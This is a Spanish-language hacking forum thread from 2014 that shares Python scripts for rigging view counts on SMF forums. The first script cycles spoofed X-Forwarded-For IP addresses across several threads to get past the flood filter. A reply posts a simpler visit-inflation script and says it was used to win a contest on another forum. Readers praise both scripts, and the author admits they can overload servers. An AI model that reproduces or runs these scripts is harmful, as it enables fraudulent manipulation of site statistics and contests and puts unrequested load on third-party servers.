Saltar al contenido
Underc0de /foro

SMF Incorrect Flood Filter Headers

Iniciado por hielasangre, Agosto 21, 2014, 10:49:25 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Avatar de hielasangre
Agosto 21, 2014, 10:49:25 PM Ultima modificación: Agosto 21, 2014, 11:00:21 PM por Expermicid
SMF Incorrect Flood Filter Headers

SMF Incorrect Flood Filter Headers

SMF Incorrect Flood Filter Headers

SMF Incorrect Flood Filter Headers

Código: python

#!/usr/bin/python
# RemoteExecution
#Autor: Daniel Godoy A.K.A hielasangre

import sys, threading, time, urllib2,re
print "Ingrese URL: "
url = raw_input()
a = b = c = d = 1
count = 0
class SMFPwner(threading.Thread):
  def __init__(self, num):
      threading.Thread.__init__(self)
      self.num = num     
  def run(self):
    while 1:
        global a,b,c,d,count, url
        data = ""
        while 1:
            while 1:
                if d!=250:
                    d+=1
                else:
                    if c!= 250:
                        c+=2
                        d=0
                    else:
                        if b!=250:
                            c=0
                            d=0
                            b+=1
                        else:
                            a+=1
                            b=0
                            c=0
                            d=0
                head = str(a)+'.'+str(b)+'.'+str(c)+'.'+str(d)
                headers = { 'X-Forwarded-For' : head }
                req = urllib2.Request(url, data, headers)
                f = urllib2.urlopen(req)
                count += 1
                print "[ Visitando => " + url + " Por " + str(count) +" vez ]"
for i in range(3):   
ta = SMFPwner(i)
ta.start()


Si bien no es una vulnerabilidad comprometedora, nos permite promocionar entre los primeros puestos (estadísticas) a nuestros posts, de manera arbitraria... Lo cual al menos, resulta divertido.

Fuente: Los enlaces son solo para miembros. Registrate o iniciá sesión
WhatsApp Telegram

11 respuestas

Avatar de ANTRAX
Muy bueno hielasangre!!
Te hago una pregunta, esto genera sobrecarga en el servidor?

Abrazo!


Avatar de hielasangre
Agosto 21, 2014, 11:17:49 PM #2 Ultima modificación: Agosto 21, 2014, 11:38:07 PM por hielasangre
Cita de: ANTRAX en Agosto 21, 2014, 10:56:42 PM
Muy bueno hielasangre!!
Te hago una pregunta, esto genera sobrecarga en el servidor?

Abrazo!
Todo depende de como este configurado, pero si porque son múltiples conexiones! Igual, si tenes un cloudflare en el medio lo mitiga automáticamente :)

Avatar de chivo
Gracias puedo usar el codigo para hacer una aplicacion claro coloco tu credito. Y te paso por MP el source final.
Haitumichu you! or wachiton wachiton to!!

Casa Fantasma

Avatar de hielasangre
Cita de: hielasangre en Agosto 21, 2014, 10:49:25 PM
Si bien no es una vulnerabilidad comprometedora, nos permite promocionar entre los primeros puestos (estadísticas) a nuestros posts, de manera arbitraria... Lo cual al menos, resulta divertido.

No lo tomo como insulto, pero ahí lo respondí. Yo mismo se que es inútil, es verdad quizás el post debería ser borrado.. A lo mejor perdí mi tiempo no lo se, pero a lo mejor a otro le guste... En fin es cuestión de gustos! Lo use para un PoC

Como dije, todo va en cada uno.. Los enlaces son solo para miembros. Registrate o iniciá sesión


Cita de: chivo en Agosto 21, 2014, 11:39:37 PM
Gracias puedo usar el codigo para hacer una aplicacion claro coloco tu credito. Y te paso por MP el source final.


Dale que va, no interesan los creditos! Lo que interesa es que te sea útil!

Avatar de $francisco
Creo que cualquier código es de agradecer, una cosa que no entendí, ¿que es la cabecera X-Forwarded-For?

Avatar de hielasangre
Cita de: $francisco en Agosto 22, 2014, 08:05:10 PM
Creo que cualquier código es de agradecer, una cosa que no entendí, ¿que es la cabecera X-Forwarded-For?

Los enlaces son solo para miembros. Registrate o iniciá sesión

Avatar de elrodrix
Grande dani. Gracias por compartir. Y como decia un gran amigo mio, "a la gilada ni cabida, yo la miro desde arriba".

Avatar de Snifer
Ya lo probe :3 xD jajajaj interesante el script mil maneras de trollear :D

PD: Lo piratee para mi blog! ;)

Regards,
Snifer
Los enlaces son solo para miembros. Registrate o iniciá sesión


Llaman traidor a la persona que evito que caiga el foro, gente bruta!



Avatar de Once
Genial brother, esto lo usé hace algún tiempo para ganar un concurso en otro foro. Aunque no es necesario complicarse con el X-Forwarded-For, este es el code que usé (lo probé acá en Underc0de y aún funciona) por si le sirve a alguien más para algo.

Código: python

import time
import urllib2


class Pvisits(object):
    def __init__(self, url, nvisitas, delay=0):
        headers = {
            "Referer": url,
            "User-Agent": "Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00",
        }
   
        for x in xrange(nvisitas):
            time.sleep(delay)
            request = urllib2.Request(url, headers=headers)
            obj_web = urllib2.urlopen(request)
            codigo = obj_web.code
            if codigo == 200:
                print obj_web.geturl(), codigo, nvisitas - x
            elif codigo >= 400:
                print "Ocurrio un error:", codigo
                return


Pvisits("http://underc0de.org/foro/index.php?topic=22799.0", 20, 0)


Saludos!







Los enlaces son solo para miembros. Registrate o iniciá sesión

Avatar de hielasangre
Cita de: Once en Agosto 23, 2014, 01:46:04 PM
Genial brother, esto lo usé hace algún tiempo para ganar un concurso en otro foro. Aunque no es necesario complicarse con el X-Forwarded-For, este es el code que usé (lo probé acá en Underc0de y aún funciona) por si le sirve a alguien más para algo.

Código: python

import time
import urllib2


class Pvisits(object):
    def __init__(self, url, nvisitas, delay=0):
        headers = {
            "Referer": url,
            "User-Agent": "Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00",
        }
   
        for x in xrange(nvisitas):
            time.sleep(delay)
            request = urllib2.Request(url, headers=headers)
            obj_web = urllib2.urlopen(request)
            codigo = obj_web.code
            if codigo == 200:
                print obj_web.geturl(), codigo, nvisitas - x
            elif codigo >= 400:
                print "Ocurrio un error:", codigo
                return


Pvisits("http://underc0de.org/foro/index.php?topic=22799.0", 20, 0)


Saludos!

OPAAAAA :D Muy bueno! Hay que estudiar mas SMF me parece entonces :P

Avatar de blackdrake
Muy buen aporte, como dice hielasangre, me parece que vamos a tener que estudiar mas smf jajaja


¿Te quedó una duda sobre Python?

Preguntala y te responde la comunidad (y el asistente Underc0de IA si nadie llega antes). Es gratis y tarda un minuto.

Ya tengo cuenta
Guardamos tu pregunta en este navegador: después de entrar la publicás con un clic.
Grupo de WhatsApp